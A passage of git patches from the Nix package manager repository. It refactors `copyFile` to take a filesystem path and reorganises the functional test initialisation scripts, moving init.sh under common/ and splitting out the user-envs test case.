2024 16:10:21 +0530 Subject: [PATCH 0592/1251] use `path` for `from` arg in `nix::copyFile` --- .../unix/build/local-derivation-goal.cc | 4 ++-- src/libutil/file-system.cc | 20 +++++++++---------- src/libutil/file-system.hh | 2 +- 3 files changed, 13 insertions(+), 13 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 9e2b0bd34..16095cf5d 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -422,7 +422,7 @@ static void doBind(const Path & source, const Path & target, bool optional = fal // Symlinks can (apparently) not be bind-mounted, so just copy it createDirs(dirOf(target)); copyFile( - std::filesystem::directory_entry(std::filesystem::path(source)), + std::filesystem::path(source), std::filesystem::path(target), false); } else { createDirs(dirOf(target)); @@ -2571,7 +2571,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() // that there's no stale file descriptor pointing to it Path tmpOutput = actualPath + ".tmp"; copyFile( - std::filesystem::directory_entry(std::filesystem::path(actualPath)), + std::filesystem::path(actualPath), std::filesystem::path(tmpOutput), true); std::filesystem::rename(tmpOutput, actualPath); diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 294887587..f5628bfdb 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -605,29 +605,29 @@ static void setWriteTime(const fs::path & p, const struct stat & st) } #endif -void copyFile(const fs::directory_entry & from, const fs::path & to, bool andDelete) +void copyFile(const fs::path & from, const fs::path & to, bool andDelete) { #ifndef _WIN32 // TODO: Rewrite the `is_*` to use `symlink_status()` - auto statOfFrom = lstat(from.path().c_str()); + auto statOfFrom = lstat(from.c_str()); #endif - auto fromStatus = from.symlink_status(); + auto fromStatus = fs::symlink_status(from); // Mark the directory as writable so that we can delete its children if (andDelete && fs::is_directory(fromStatus)) { - fs::permissions(from.path(), fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow); + fs::permissions(from, fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow); } if (fs::is_symlink(fromStatus) || fs::is_regular_file(fromStatus)) { - fs::copy(from.path(), to, fs::copy_options::copy_symlinks | fs::copy_options::overwrite_existing); + fs::copy(from, to, fs::copy_options::copy_symlinks | fs::copy_options::overwrite_existing); } else if (fs::is_directory(fromStatus)) { fs::create_directory(to); - for (auto & entry : fs::directory_iterator(from.path())) { + for (auto & entry : fs::directory_iterator(from)) { copyFile(entry, to / entry.path().filename(), andDelete); } } else { - throw Error("file '%s' has an unsupported type", from.path()); + throw Error("file '%s' has an unsupported type", from); } #ifndef _WIN32 @@ -635,8 +635,8 @@ void copyFile(const fs::directory_entry & from, const fs::path & to, bool andDel #endif if (andDelete) { if (!fs::is_symlink(fromStatus)) - fs::permissions(from.path(), fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow); - fs::remove(from.path()); + fs::permissions(from, fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow); + fs::remove(from); } } @@ -657,7 +657,7 @@ void moveFile(const Path & oldName, const Path & newName) if (e.code().value() == EXDEV) { fs::remove(newPath); warn("Can’t rename %s as %s, copying instead", oldName, newName); - copyFile(fs::directory_entry(oldPath), tempCopyTarget, true); + copyFile(oldPath, tempCopyTarget, true); std::filesystem::rename( os_string_to_string(PathViewNG { tempCopyTarget }), os_string_to_string(PathViewNG { newPath })); diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index acc921ebe..a3f412224 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -190,7 +190,7 @@ void moveFile(const Path & src, const Path & dst); * with the guaranty that the destination will be “fresh”, with no stale inode * or file descriptor pointing to it). */ -void copyFile(const std::filesystem::directory_entry & from, const std::filesystem::path & to, bool andDelete); +void copyFile(const std::filesystem::path & from, const std::filesystem::path & to, bool andDelete); /** * Automatic cleanup of resources. From 33ca905cdb4ea52d95f4177bd8c141bc16f7a8d1 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 6 May 2024 15:42:49 +0200 Subject: [PATCH 0593/1251] tests: simplify initialisation and wiring pararameterisation is not actually needed the way things are currently set up, and it confused me when trying to understand what the code does. all but one test sources vars-and-functions.sh, which nominally only defines variables, but in practice is always coupled with the actual initialisation. while the cleaner way of making this more legible would be to source variables and initialisation separately, this would produce a huge diff. the change requires a few small fixes to keep the tests working: - only create test home directory during initialisation that vars-and-functions.sh wrote to the file system seems not write - fix creation of the test directory due to statefulness, the test home directory was implicitly creating the test root, too. decoupling that made it apparent that this was probably not intentional, and certainly confusing. - only source vars-and-functions.sh if init.sh is not needed there is one test case that only needs a helper function but no initialisation side effects - remove some unnecessary cleanups and split parts of re-used test code there were confusing bits in how initialisation code was repurposed, which break if trying to refactor the outer layers naively... --- doc/manual/src/contributing/testing.md | 6 +- mk/debug-test.sh | 4 - mk/lib.mk | 7 +- mk/run-test.sh | 4 - mk/tests.mk | 4 +- tests/functional/common.sh | 6 +- tests/functional/{ => common}/init.sh | 10 +- .../common/vars-and-functions.sh.in | 3 +- tests/functional/lang.sh | 2 +- .../local-overlay-store/add-lower.sh | 1 + .../local-overlay-store/bad-uris.sh | 1 + tests/functional/local-overlay-store/build.sh | 1 + .../local-overlay-store/check-post-init.sh | 1 + .../functional/local-overlay-store/common.sh | 5 +- .../local-overlay-store/delete-duplicate.sh | 1 + .../local-overlay-store/delete-refs.sh | 1 + tests/functional/local-overlay-store/gc.sh | 1 + .../local-overlay-store/optimise.sh | 1 + .../local-overlay-store/redundant-add.sh | 1 + .../local-overlay-store/stale-file-handle.sh | 1 + .../functional/local-overlay-store/verify.sh | 1 + tests/functional/local.mk | 1 - tests/functional/remote-store.sh | 2 +- tests/functional/user-envs-test-case.sh | 191 +++++++++++++++++ tests/functional/user-envs.sh | 198 +----------------- 25 files changed, 227 insertions(+), 227 deletions(-) rename tests/functional/{ => common}/init.sh (86%) create mode 100644 tests/functional/user-envs-test-case.sh diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md index 31c39c16c..607914ba3 100644 --- a/doc/manual/src/contributing/testing.md +++ b/doc/manual/src/contributing/testing.md @@ -162,14 +162,14 @@ ran test tests/functional/${testName}.sh... [PASS] or without `make`: ```shell-session -$ ./mk/run-test.sh tests/functional/${testName}.sh tests/functional/init.sh +$ ./mk/run-test.sh tests/functional/${testName}.sh ran test tests/functional/${testName}.sh... [PASS] ``` To see the complete output, one can also run: ```shell-session -$ ./mk/debug-test.sh tests/functional/${testName}.sh tests/functional/init.sh +$ ./mk/debug-test.sh tests/functional/${testName}.sh +(${testName}.sh:1) foo output from foo +(${testName}.sh:2) bar @@ -204,7 +204,7 @@ edit it like so: Then, running the test with `./mk/debug-test.sh` will drop you into GDB once the script reaches that point: ```shell-session -$ ./mk/debug-test.sh tests/functional/${testName}.sh tests/functional/init.sh +$ ./mk/debug-test.sh tests/functional/${testName}.sh ... + gdb blash blub GNU gdb (GDB) 12.1 diff --git a/mk/debug-test.sh b/mk/debug-test.sh index 1cd6f9dce..0dd4406c3 100755 --- a/mk/debug-test.sh +++ b/mk/debug-test.sh @@ -3,12 +3,8 @@ set -eu -o pipefail test=$1 -init=${2-} dir="$(dirname "${BASH_SOURCE[0]}")" source "$dir/common-test.sh" -if [ -n "$init" ]; then - (run "$init" 2>/dev/null > /dev/null) -fi run "$test" diff --git a/mk/lib.mk b/mk/lib.mk index a002d823f..1e7af6ad5 100644 --- a/mk/lib.mk +++ b/mk/lib.mk @@ -87,15 +87,14 @@ $(foreach script, $(bin-scripts), $(eval $(call install-program-in,$(script),$(b $(foreach script, $(bin-scripts), $(eval programs-list += $(script))) $(foreach script, $(noinst-scripts), $(eval programs-list += $(script))) $(foreach template, $(template-files), $(eval $(call instantiate-template,$(template)))) -install_test_init=tests/functional/init.sh $(foreach test, $(install-tests), \ - $(eval $(call run-test,$(test),$(install_test_init))) \ + $(eval $(call run-test,$(test))) \ $(eval installcheck: $(test).test)) $(foreach test-group, $(install-tests-groups), \ - $(eval $(call run-test-group,$(test-group),$(install_test_init))) \ + $(eval $(call run-test-group,$(test-group))) \ $(eval installcheck: $(test-group).test-group) \ $(foreach test, $($(test-group)-tests), \ - $(eval $(call run-test,$(test),$(install_test_init))) \ + $(eval $(call run-test,$(test))) \ $(eval $(test-group).test-group: $(test).test))) # Compilation database. diff --git a/mk/run-test.sh b/mk/run-test.sh index 177a452e8..1256bfcf7 100755 --- a/mk/run-test.sh +++ b/mk/run-test.sh @@ -8,7 +8,6 @@ yellow="" normal="" test=$1 -init=${2-} dir="$(dirname "${BASH_SOURCE[0]}")" source "$dir/common-test.sh" @@ -22,9 +21,6 @@ if [ -t 1 ]; then fi run_test () { - if [ -n "$init" ]; then - (run "$init" 2>/dev/null > /dev/null) - fi log="$(run "$test" 2>&1)" && status=0 || status=$? } diff --git a/mk/tests.mk b/mk/tests.mk index bac9b704a..0a10f6d3b 100644 --- a/mk/tests.mk +++ b/mk/tests.mk @@ -12,8 +12,8 @@ endef define run-test - $(eval $(call run-bash,$1.test,$1 $(test-deps),mk/run-test.sh $1 $2)) - $(eval $(call run-bash,$1.test-debug,$1 $(test-deps),mk/debug-test.sh $1 $2)) + $(eval $(call run-bash,$1.test,$1 $(test-deps),mk/run-test.sh $1)) + $(eval $(call run-bash,$1.test-debug,$1 $(test-deps),mk/debug-test.sh $1)) endef diff --git a/tests/functional/common.sh b/tests/functional/common.sh index 7b0922c9f..4ec17b706 100644 --- a/tests/functional/common.sh +++ b/tests/functional/common.sh @@ -4,7 +4,11 @@ if [[ -z "${COMMON_SH_SOURCED-}" ]]; then COMMON_SH_SOURCED=1 -source "$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")/common/vars-and-functions.sh" +dir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")" + +source "$dir"/common/vars-and-functions.sh +source "$dir"/common/init.sh + if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then startDaemon fi diff --git a/tests/functional/init.sh b/tests/functional/common/init.sh similarity index 86% rename from tests/functional/init.sh rename to tests/functional/common/init.sh index 97b1b0587..9d85dba17 100755 --- a/tests/functional/init.sh +++ b/tests/functional/common/init.sh @@ -1,6 +1,3 @@ -# Don't start the daemon -source common/vars-and-functions.sh - test -n "$TEST_ROOT" if test -d "$TEST_ROOT"; then chmod -R u+rw "$TEST_ROOT" @@ -8,7 +5,8 @@ if test -d "$TEST_ROOT"; then killDaemon rm -rf "$TEST_ROOT" fi -mkdir "$TEST_ROOT" +mkdir -p "$TEST_ROOT" +mkdir "$TEST_HOME" mkdir "$NIX_STORE_DIR" mkdir "$NIX_LOCALSTATE_DIR" @@ -36,7 +34,7 @@ extra-experimental-features = flakes EOF # Initialise the database. +# The flag itself does nothing, but running the command touches the store nix-store --init - -# Did anything happen? +# Sanity check test -e "$NIX_STATE_DIR"/db/db.sqlite diff --git a/tests/functional/common/vars-and-functions.sh.in b/tests/functional/common/vars-and-functions.sh.in index e7e2fc770..cb1f0d566 100644 --- a/tests/functional/common/vars-and-functions.sh.in +++ b/tests/functional/common/vars-and-functions.sh.in @@ -1,3 +1,5 @@ +# NOTE: instances of @variable@ are substituted as defined in /mk/templates.mk + set -eu -o pipefail if [[ -z "${COMMON_VARS_AND_FUNCTIONS_SH_SOURCED-}" ]]; then @@ -34,7 +36,6 @@ unset XDG_DATA_HOME unset XDG_CONFIG_HOME unset XDG_CONFIG_DIRS unset XDG_CACHE_HOME -mkdir -p $TEST_HOME export PATH=@bindir@:$PATH if [[ -n "${NIX_CLIENT_PACKAGE:-}" ]]; then diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh index e35795a7a..c45326473 100755 --- a/tests/functional/lang.sh +++ b/tests/functional/lang.sh @@ -72,7 +72,7 @@ for i in lang/eval-fail-*.nix; do if [[ -e "lang/$i.flags" ]]; then sed -e 's/#.*//' < "lang/$i.flags" else - # note that show-trace is also set by init.sh + # note that show-trace is also set by common/init.sh echo "--eval --strict --show-trace" fi )" diff --git a/tests/functional/local-overlay-store/add-lower.sh b/tests/functional/local-overlay-store/add-lower.sh index f0ac46a91..33bf20ebd 100755 --- a/tests/functional/local-overlay-store/add-lower.sh +++ b/tests/functional/local-overlay-store/add-lower.sh @@ -1,4 +1,5 @@ source common.sh +source ../common/init.sh requireEnvironment setupConfig diff --git a/tests/functional/local-overlay-store/bad-uris.sh b/tests/functional/local-overlay-store/bad-uris.sh index 2517681dd..42a6d47f7 100644 --- a/tests/functional/local-overlay-store/bad-uris.sh +++ b/tests/functional/local-overlay-store/bad-uris.sh @@ -1,4 +1,5 @@ source common.sh +source ../common/init.sh requireEnvironment setupConfig diff --git a/tests/functional/local-overlay-store/build.sh b/tests/functional/local-overlay-store/build.sh index 758585400..2251be7e7 100755 --- a/tests/functional/local-overlay-store/build.sh +++ b/tests/functional/local-overlay-store/build.sh @@ -1,4 +1,5 @@ source common.sh +source ../common/init.sh requireEnvironment setupConfig diff --git a/tests/functional/local-overlay-store/check-post-init.sh b/tests/functional/local-overlay-store/check-post-init.sh index 985bf978e..e0c260276 100755 --- a/tests/functional/local-overlay-store/check-post-init.sh +++ b/tests/functional/local-overlay-store/check-post-init.sh @@ -1,4 +1,5 @@ source common.sh +source ../common/init.sh requireEnvironment setupConfig diff --git a/tests/functional/local-overlay-store/common.sh b/tests/functional/local-overlay-store/common.sh index 2634f8c8f..0e6097861 100644 --- a/tests/functional/local-overlay-store/common.sh +++ b/tests/functional/local-overlay-store/common.sh @@ -1,4 +1,4 @@ -source ../common.sh +source ../common/vars-and-functions.sh # The new Linux mount interface does not seem to support remounting # OverlayFS mount points. @@ -37,10 +37,9 @@ addConfig () { setupConfig () { addConfig "require-drop-supplementary-groups = false" addConfig "build-users-group = " + enableFeatures "local-overlay-store" } -enableFeatures "local-overlay-store" - setupStoreDirs () { # Attempt to create store dirs on tmpfs volume. # This ensures lowerdir, upperdir and workdir will be on diff --git a/tests/functional/local-overlay-store/delete-duplicate.sh b/tests/functional/local-overlay-store/delete-duplicate.sh index 0c0b1a3b2..e3b94e1cb 100644 --- a/tests/functional/local-overlay-store/delete-duplicate.sh +++ b/tests/functional/local-overlay-store/delete-duplicate.sh @@ -1,4 +1,5 @@ source common.sh +source ../common/init.sh requireEnvironment setupConfig diff --git a/tests/functional/local-overlay-store/delete-refs.sh b/tests/functional/local-overlay-store/delete-refs.sh index 942d7fbdc..62295aaa1 100755 --- a/tests/functional/local-overlay-store/delete-refs.sh +++ b/tests/functional/local-overlay-store/delete-refs.sh @@ -1,4 +1,5 @@ source common.sh +source ../common/init.sh requireEnvironment setupConfig diff --git a/tests/functional/local-overlay-store/gc.sh b/tests/functional/local-overlay-store/gc.sh index 1e1fb203e..f3420d0b8 100755 --- a/tests/functional/local-overlay-store/gc.sh +++ b/tests/functional/local-overlay-store/gc.sh @@ -1,4 +1,5 @@ source common.sh +source ../common/init.sh requireEnvironment setupConfig diff --git a/tests/functional/local-overlay-store/optimise.sh b/tests/functional/local-overlay-store/optimise.sh index 569afa248..a524a675e 100755 --- a/tests/functional/local-overlay-store/optimise.sh +++ b/tests/functional/local-overlay-store/optimise.sh @@ -1,4 +1,5 @@ source common.sh +source ../common/init.sh requireEnvironment setupConfig diff --git a/tests/functional/local-overlay-store/redundant-add.sh b/tests/functional/local-overlay-store/redundant-add.sh index fbd4799e7..b4f04b2e1 100755 --- a/tests/functional/local-overlay-store/redundant-add.sh +++ b/tests/functional/local-overlay-store/redundant-add.sh @@ -1,4 +1,5 @@ source common.sh +source ../common/init.sh requireEnvironment setupConfig diff --git a/tests/functional/local-overlay-store/stale-file-handle.sh b/tests/functional/local-overlay-store/stale-file-handle.sh index 5e75628ca..684b8ce23 100755 --- a/tests/functional/local-overlay-store/stale-file-handle.sh +++ b/tests/functional/local-overlay-store/stale-file-handle.sh @@ -1,4 +1,5 @@ source common.sh +source ../common/init.sh requireEnvironment setupConfig diff --git a/tests/functional/local-overlay-store/verify.sh b/tests/functional/local-overlay-store/verify.sh index 8b44603ff..d73d1a57d 100755 --- a/tests/functional/local-overlay-store/verify.sh +++ b/tests/functional/local-overlay-store/verify.sh @@ -1,4 +1,5 @@ source common.sh +source ../common/init.sh requireEnvironment setupConfig diff --git a/tests/functional/local.mk b/tests/functional/local.mk index 65ab20f9a..021af096c 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -1,6 +1,5 @@ nix_tests = \ test-infra.sh \ - init.sh \ flakes/flakes.sh \ flakes/develop.sh \ flakes/run.sh \ diff --git a/tests/functional/remote-store.sh b/tests/functional/remote-store.sh index cc5dd1833..e2c16f18a 100644 --- a/tests/functional/remote-store.sh +++ b/tests/functional/remote-store.sh @@ -23,7 +23,7 @@ fi # Test import-from-derivation through the daemon. [[ $(nix eval --impure --raw --file ./ifd.nix) = hi ]] -storeCleared=1 NIX_REMOTE_=$NIX_REMOTE $SHELL ./user-envs.sh +NIX_REMOTE_=$NIX_REMOTE $SHELL ./user-envs-test-case.sh nix-store --gc --max-freed 1K diff --git a/tests/functional/user-envs-test-case.sh b/tests/functional/user-envs-test-case.sh new file mode 100644 index 000000000..f4a90a675 --- /dev/null +++ b/tests/functional/user-envs-test-case.sh @@ -0,0 +1,191 @@ +clearProfiles + +# Query installed: should be empty. +test "$(nix-env -p $profiles/test -q '*' | wc -l)" -eq 0 + +nix-env --switch-profile $profiles/test + +# Query available: should contain several. +test "$(nix-env -f ./user-envs.nix -qa '*' | wc -l)" -eq 6 +outPath10=$(nix-env -f ./user-envs.nix -qa --out-path --no-name '*' | grep foo-1.0) +drvPath10=$(nix-env -f ./user-envs.nix -qa --drv-path --no-name '*' | grep foo-1.0) +[ -n "$outPath10" -a -n "$drvPath10" ] + +# Query with json +nix-env -f ./user-envs.nix -qa --json | jq -e '.[] | select(.name == "bar-0.1") | [ + .outputName == "out", + .outputs.out == null +] | all' +nix-env -f ./user-envs.nix -qa --json --out-path | jq -e '.[] | select(.name == "bar-0.1") | [ + .outputName == "out", + (.outputs.out | test("'$NIX_STORE_DIR'.*-0\\.1")) +] | all' +nix-env -f ./user-envs.nix -qa --json --drv-path | jq -e '.[] | select(.name == "bar-0.1") | (.drvPath | test("'$NIX_STORE_DIR'.*-0\\.1\\.drv"))' + +# Query descriptions. +nix-env -f ./user-envs.nix -qa '*' --description | grepQuiet silly +rm -rf $HOME/.nix-defexpr +ln -s $(pwd)/user-envs.nix $HOME/.nix-defexpr +nix-env -qa '*' --description | grepQuiet silly + +# Query the system. +nix-env -qa '*' --system | grepQuiet $system + +# Install "foo-1.0". +nix-env -i foo-1.0 + +# Query installed: should contain foo-1.0 now (which should be +# executable). +test "$(nix-env -q '*' | wc -l)" -eq 1 +nix-env -q '*' | grepQuiet foo-1.0 +test "$($profiles/test/bin/foo)" = "foo-1.0" + +# Test nix-env -qc to compare installed against available packages, and vice versa. +nix-env -qc '*' | grepQuiet '< 2.0' +nix-env -qac '*' | grepQuiet '> 1.0' + +# Test the -b flag to filter out source-only packages. +[ "$(nix-env -qab | wc -l)" -eq 1 ] + +# Test the -s flag to get package status. +nix-env -qas | grepQuiet 'IP- foo-1.0' +nix-env -qas | grepQuiet -- '--- bar-0.1' + +# Disable foo. +nix-env --set-flag active false foo +(! [ -e "$profiles/test/bin/foo" ]) + +# Enable foo. +nix-env --set-flag active true foo +[ -e "$profiles/test/bin/foo" ] + +# Store the path of foo-1.0. +outPath10_=$(nix-env -q --out-path --no-name '*' | grep foo-1.0) +echo "foo-1.0 = $outPath10" +[ "$outPath10" = "$outPath10_" ] + +# Install "foo-2.0pre1": should remove foo-1.0. +nix-env -i foo-2.0pre1 + +# Query installed: should contain foo-2.0pre1 now. +test "$(nix-env -q '*' | wc -l)" -eq 1 +nix-env -q '*' | grepQuiet foo-2.0pre1 +test "$($profiles/test/bin/foo)" = "foo-2.0pre1" + +# Upgrade "foo": should install foo-2.0. +NIX_PATH=nixpkgs=./user-envs.nix:${NIX_PATH-} nix-env -f '' -u foo + +# Query installed: should contain foo-2.0 now. +test "$(nix-env -q '*' | wc -l)" -eq 1 +nix-env -q '*' | grepQuiet foo-2.0 +test "$($profiles/test/bin/foo)" = "foo-2.0" + +# Store the path of foo-2.0. +outPath20=$(nix-env -q --out-path --no-name '*' | grep foo-2.0) +test -n "$outPath20" + +# Install bar-0.1, uninstall foo. +nix-env -i bar-0.1 +nix-env -e foo + +# Query installed: should only contain bar-0.1 now. +if nix-env -q '*' | grepQuiet foo; then false; fi +nix-env -q '*' | grepQuiet bar + +# Rollback: should bring "foo" back. +oldGen="$(nix-store -q --resolve $profiles/test)" +nix-env --rollback +[ "$(nix-store -q --resolve $profiles/test)" != "$oldGen" ] +nix-env -q '*' | grepQuiet foo-2.0 +nix-env -q '*' | grepQuiet bar + +# Rollback again: should remove "bar". +nix-env --rollback +nix-env -q '*' | grepQuiet foo-2.0 +if nix-env -q '*' | grepQuiet bar; then false; fi + +# Count generations. +nix-env --list-generations +test "$(nix-env --list-generations | wc -l)" -eq 7 + +# Doing the same operation twice results in the same generation, which triggers +# "lazy" behaviour and does not create a new symlink. + +nix-env -i foo +nix-env -i foo + +# Count generations. +nix-env --list-generations +test "$(nix-env --list-generations | wc -l)" -eq 8 + +# Switch to a specified generation. +nix-env --switch-generation 7 +[ "$(nix-store -q --resolve $profiles/test)" = "$oldGen" ] + +# Install foo-1.0, now using its store path. +nix-env -i "$outPath10" +nix-env -q '*' | grepQuiet foo-1.0 +nix-store -qR $profiles/test | grep "$outPath10" +nix-store -q --referrers-closure $profiles/test | grep "$(nix-store -q --resolve $profiles/test)" +[ "$(nix-store -q --deriver "$outPath10")" = $drvPath10 ] + +# Uninstall foo-1.0, using a symlink to its store path. +ln -sfn $outPath10/bin/foo $TEST_ROOT/symlink +nix-env -e $TEST_ROOT/symlink +if nix-env -q '*' | grepQuiet foo; then false; fi +nix-store -qR $profiles/test | grepInverse "$outPath10" + +# Install foo-1.0, now using a symlink to its store path. +nix-env -i $TEST_ROOT/symlink +nix-env -q '*' | grepQuiet foo + +# Delete all old generations. +nix-env --delete-generations old + +# Run the garbage collector. This should get rid of foo-2.0 but not +# foo-1.0. +nix-collect-garbage +test -e "$outPath10" +(! [ -e "$outPath20" ]) + +# Uninstall everything +nix-env -e '*' +test "$(nix-env -q '*' | wc -l)" -eq 0 + +# Installing "foo" should only install the newest foo. +nix-env -i foo +test "$(nix-env -q '*' | grep foo- | wc -l)" -eq 1 +nix-env -q '*' | grepQuiet foo-2.0 + +# On the other hand, this should install both (and should fail due to +# a collision). +nix-env -e '*' +(! nix-env -i foo-1.0 foo-2.0) + +# Installing "*" should install one foo and one bar. +nix-env -e '*' +nix-env -i '*' +test "$(nix-env -q '*' | wc -l)" -eq 2 +nix-env -q '*' | grepQuiet foo-2.0 +nix-env -q '*' | grepQuiet bar-0.1.1 + +# Test priorities: foo-0.1 has a lower priority than foo-1.0, so it +# should be possible to install both without a collision. Also test +# ‘--set-flag priority’ to manually override the declared priorities. +nix-env -e '*' +nix-env -i foo-0.1 foo-1.0 +[ "$($profiles/test/bin/foo)" = "foo-1.0" ] +nix-env --set-flag priority 1 foo-0.1 +[ "$($profiles/test/bin/foo)" = "foo-0.1" ] + +# Test nix-env --set. +nix-env --set $outPath10 +[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ] +nix-env --set $drvPath10 +[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ] + +# Test the case where $HOME contains a symlink. +mkdir -p $TEST_ROOT/real-home/alice/.nix-defexpr/channels +ln -sfn $TEST_ROOT/real-home $TEST_ROOT/home +ln -sfn $(pwd)/user-envs.nix $TEST_ROOT/home/alice/.nix-defexpr/channels/foo +HOME=$TEST_ROOT/home/alice nix-env -i foo-0.1 diff --git a/tests/functional/user-envs.sh b/tests/functional/user-envs.sh index 7c643f355..a849d5439 100644 --- a/tests/functional/user-envs.sh +++ b/tests/functional/user-envs.sh @@ -1,197 +1,3 @@ -source common.sh +source ./common.sh -if [ -z "${storeCleared-}" ]; then - clearStore -fi - -clearProfiles - -# Query installed: should be empty. -test "$(nix-env -p $profiles/test -q '*' | wc -l)" -eq 0 - -nix-env --switch-profile $profiles/test - -# Query available: should contain several. -test "$(nix-env -f ./user-envs.nix -qa '*' | wc -l)" -eq 6 -outPath10=$(nix-env -f ./user-envs.nix -qa --out-path --no-name '*' | grep foo-1.0) -drvPath10=$(nix-env -f ./user-envs.nix -qa --drv-path --no-name '*' | grep foo-1.0) -[ -n "$outPath10" -a -n "$drvPath10" ] - -# Query with json -nix-env -f ./user-envs.nix -qa --json | jq -e '.[] | select(.name == "bar-0.1") | [ - .outputName == "out", - .outputs.out == null -] | all' -nix-env -f ./user-envs.nix -qa --json --out-path | jq -e '.[] | select(.name == "bar-0.1") | [ - .outputName == "out", - (.outputs.out | test("'$NIX_STORE_DIR'.*-0\\.1")) -] | all' -nix-env -f ./user-envs.nix -qa --json --drv-path | jq -e '.[] | select(.name == "bar-0.1") | (.drvPath | test("'$NIX_STORE_DIR'.*-0\\.1\\.drv"))' - -# Query descriptions. -nix-env -f ./user-envs.nix -qa '*' --description | grepQuiet silly -rm -rf $HOME/.nix-defexpr -ln -s $(pwd)/user-envs.nix $HOME/.nix-defexpr -nix-env -qa '*' --description | grepQuiet silly - -# Query the system. -nix-env -qa '*' --system | grepQuiet $system - -# Install "foo-1.0". -nix-env -i foo-1.0 - -# Query installed: should contain foo-1.0 now (which should be -# executable). -test "$(nix-env -q '*' | wc -l)" -eq 1 -nix-env -q '*' | grepQuiet foo-1.0 -test "$($profiles/test/bin/foo)" = "foo-1.0" - -# Test nix-env -qc to compare installed against available packages, and vice versa. -nix-env -qc '*' | grepQuiet '< 2.0' -nix-env -qac '*' | grepQuiet '> 1.0' - -# Test the -b flag to filter out source-only packages. -[ "$(nix-env -qab | wc -l)" -eq 1 ] - -# Test the -s flag to get package status. -nix-env -qas | grepQuiet 'IP- foo-1.0' -nix-env -qas | grepQuiet -- '--- bar-0.1' - -# Disable foo. -nix-env --set-flag active false foo -(! [ -e "$profiles/test/bin/foo" ]) - -# Enable foo. -nix-env --set-flag active true foo -[ -e "$profiles/test/bin/foo" ] - -# Store the path of foo-1.0. -outPath10_=$(nix-env -q --out-path --no-name '*' | grep foo-1.0) -echo "foo-1.0 = $outPath10" -[ "$outPath10" = "$outPath10_" ] - -# Install "foo-2.0pre1": should remove foo-1.0. -nix-env -i foo-2.0pre1 - -# Query installed: should contain foo-2.0pre1 now. -test "$(nix-env -q '*' | wc -l)" -eq 1 -nix-env -q '*' | grepQuiet foo-2.0pre1 -test "$($profiles/test/bin/foo)" = "foo-2.0pre1" - -# Upgrade "foo": should install foo-2.0. -NIX_PATH=nixpkgs=./user-envs.nix:${NIX_PATH-} nix-env -f '' -u foo - -# Query installed: should contain foo-2.0 now. -test "$(nix-env -q '*' | wc -l)" -eq 1 -nix-env -q '*' | grepQuiet foo-2.0 -test "$($profiles/test/bin/foo)" = "foo-2.0" - -# Store the path of foo-2.0. -outPath20=$(nix-env -q --out-path --no-name '*' | grep foo-2.0) -test -n "$outPath20" - -# Install bar-0.1, uninstall foo. -nix-env -i bar-0.1 -nix-env -e foo - -# Query installed: should only contain bar-0.1 now. -if nix-env -q '*' | grepQuiet foo; then false; fi -nix-env -q '*' | grepQuiet bar - -# Rollback: should bring "foo" back. -oldGen="$(nix-store -q --resolve $profiles/test)" -nix-env --rollback -[ "$(nix-store -q --resolve $profiles/test)" != "$oldGen" ] -nix-env -q '*' | grepQuiet foo-2.0 -nix-env -q '*' | grepQuiet bar - -# Rollback again: should remove "bar". -nix-env --rollback -nix-env -q '*' | grepQuiet foo-2.0 -if nix-env -q '*' | grepQuiet bar; then false; fi - -# Count generations. -nix-env --list-generations -test "$(nix-env --list-generations | wc -l)" -eq 7 - -# Doing the same operation twice results in the same generation, which triggers -# "lazy" behaviour and does not create a new symlink. - -nix-env -i foo -nix-env -i foo - -# Count generations. -nix-env --list-generations -test "$(nix-env --list-generations | wc -l)" -eq 8 - -# Switch to a specified generation. -nix-env --switch-generation 7 -[ "$(nix-store -q --resolve $profiles/test)" = "$oldGen" ] - -# Install foo-1.0, now using its store path. -nix-env -i "$outPath10" -nix-env -q '*' | grepQuiet foo-1.0 -nix-store -qR $profiles/test | grep "$outPath10" -nix-store -q --referrers-closure $profiles/test | grep "$(nix-store -q --resolve $profiles/test)" -[ "$(nix-store -q --deriver "$outPath10")" = $drvPath10 ] - -# Uninstall foo-1.0, using a symlink to its store path. -ln -sfn $outPath10/bin/foo $TEST_ROOT/symlink -nix-env -e $TEST_ROOT/symlink -if nix-env -q '*' | grepQuiet foo; then false; fi -nix-store -qR $profiles/test | grepInverse "$outPath10" - -# Install foo-1.0, now using a symlink to its store path. -nix-env -i $TEST_ROOT/symlink -nix-env -q '*' | grepQuiet foo - -# Delete all old generations. -nix-env --delete-generations old - -# Run the garbage collector. This should get rid of foo-2.0 but not -# foo-1.0. -nix-collect-garbage -test -e "$outPath10" -(! [ -e "$outPath20" ]) - -# Uninstall everything -nix-env -e '*' -test "$(nix-env -q '*' | wc -l)" -eq 0 - -# Installing "foo" should only install the newest foo. -nix-env -i foo -test "$(nix-env -q '*' | grep foo- | wc -l)" -eq 1 -nix-env -q '*' | grepQuiet foo-2.0 - -# On the other hand, this should install both (and should fail due to -# a collision). -nix-env -e '*' -(! nix-env -i foo-1.0 foo-2.0) - -# Installing "*" should install one foo and one bar. -nix-env -e '*' -nix-env -i '*' -test "$(nix-env -q '*' | wc -l)" -eq 2 -nix-env -q '*' | grepQuiet foo-2.0 -nix-env -q '*' | grepQuiet bar-0.1.1 - -# Test priorities: foo-0.1 has a lower priority than foo-1.0, so 